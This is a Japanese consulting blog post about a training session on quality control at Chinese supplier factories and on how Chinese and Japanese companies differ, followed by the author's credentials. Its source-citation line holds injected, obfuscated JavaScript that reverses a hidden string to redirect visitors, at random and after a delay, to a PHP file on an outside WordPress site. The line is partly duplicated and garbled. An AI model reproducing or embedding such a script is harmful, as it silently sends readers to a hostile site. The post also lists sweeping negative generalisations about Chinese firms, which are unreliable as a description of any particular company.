企業研修-中国企業と日本企業の違いを認識する!!

企業研修-中国企業と日本企業の違いを認識する!!

企業の社内研修講師を務めさせていただくことがあります。
ある大手企業様では2年続けて依頼を受けました。

 

参加されたのは、以前及び現在中国製品を取り扱っている方が半分と
今は中国との関わりはないが、今後担当する可能性のある方が半分でした。

 

内容は中国工場・品質管理に関してですが、
先ず中国工場の実状を知ってもらうために
中国工場ではどんな人たちがどんな管理でものづくりをしているかを
イメージしてもらいました。

 

それをベースに中国工場の品質管理や改善の進め方を一緒に考えました。

 

ただし、この会社は中国に自社工場はないので、
仕入先・生産委託先への品質改善指導に重きを置きました。
また、異文化コミュニケーションも含め、
中国企業とどのように付き合えばよいのかについても話をさせてもらいました。

 

特に、これから中国関係の業務を担当される方には、
この部分は重要な意味を持ってきます。
中国企業との付き合いでは、みなさん思うようにいかず苦労されています。

 

中国企業との付き合い方で最初に取り組むのが、
中国企業と日本企業との違いを認識することです。
参加者に思い浮かぶそれらの違いを書き出してもらいます。
全員の分を合わせるとたくさん出てきます。

 

いくつか例を挙げると

・約束に対する定義が違う
・自社の利益を重視する(中国企業)
・平気で不良品を納入してくる(中国企業)
・品質基準が低い(中国企業)
・独自製品を作れない(中国企業)

など。

 

みなさん両者の違いを的確に掴んでいます。
大事なのは、こうした違いがあるということを担当者だけでなく
会社として認識することです。
そうしないと中国企業との窓口担当者だけが「何やっているんだ」
と責められ苦労することになります。

 

違いを認識することで、
中国企業に対して日本企業と同じスタンスで臨んではいけないことがわかります。
苦労している担当者の多くは、日本企業と同じ感覚で中国企業との取引に臨んでいます。

 

日本企業では当たり前のこと、
日本企業なら問題なく対応してもらえることも中国企業相手ではそうはいきません。
違いを認識して、そのギャップを埋める作業をしていくことが必要です。

 

出典:$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toimprove/entry-12218697791.html” target=”_blank”>企業研修-中国企業と日本企業の違いを認識する!!


KPIマネジメント代表・チーフコンサルタント◎電機系メーカーにて技術部門、資材部門を経て香港・中国に駐在。現地においては、購入部材の品質管理責任者として購入部材仕入先品質指導及び品質改善指導。延べ100社に及ぶ仕入先工場の品質改善指導に奔走 ◎東京都/千葉県商工会連合会専門エキスパート(品質管理、製造業指導) GCS認定コーチ◎日本生産性本部経営アカデミー講師 名古屋外国語大学非常勤講師 セミナー/企業研修講師多数◎中国工場コンサルティング実績 日系中国工場品質改善及び管理体制の見直し(広東省)、中国企業品質管理体制の構築(福建省1社)、中国企業労務人事管理監査対応指導(パートナーコンサルタントと共同で実施:広東省1社)、米国D社の労務人事監査指摘事項への対応を指導、中国工場品質管理体制の構築(広東、大連など2社)、中国工場運営管理支援(広東1社)、外観検査の精度向上指導(広東1社)、中国生産委託先工場監査代行(広東1社) 国内工場管理の見直し及び製品コストダウン、外灯製造会社の5S指導、金属加工会社の品質管理・改善、生産性向上指導(1社)、金属加工会社の組織再構築、経営改革指導(1社)、板金塗装会社の5S指導(1社)、環境関連企業の新工場立ち上げ支援(1社)◎製造業向け社員研修実績 中国人管理者教育(広東、大連、厦門など3社)、コーチング研修(2社)、来日した中国企業スタッフ研修、中国赴任前研修(パソナ様)、若手社員向け中国工場の問題点と対処法(和歌山県工業技術センター様)、中国工場品質管理講座&異文化コミュニケーション(富士通テレコムネットワークス様)、仕入先様品質管理勉強会 テーマ:中国工場での品質管理の進め方(株式会社オートバックスセブン様)、中国への生産委託に伴う工程/品質管理のポイント(N社様、I社様) ◎著書 こうすれば失敗しない!中国工場の品質改善<虎の巻>(日刊工業新聞社)、雑誌「標準化と品質管理」2012年8月号特集記事執筆(日本規格協会)、外観検査の不良見逃し・ばらつき低減(技術情報協会・共同執筆)、通信教育講座「外観目視検査の進め方と留意点」担当講師(テキスト執筆、添削指導) ◎KPIマネジメント http://www.prestoimprove.com/index.html ブログ「中国工場での品質管理・品質改善」https://ameblo.jp/prestoimprove/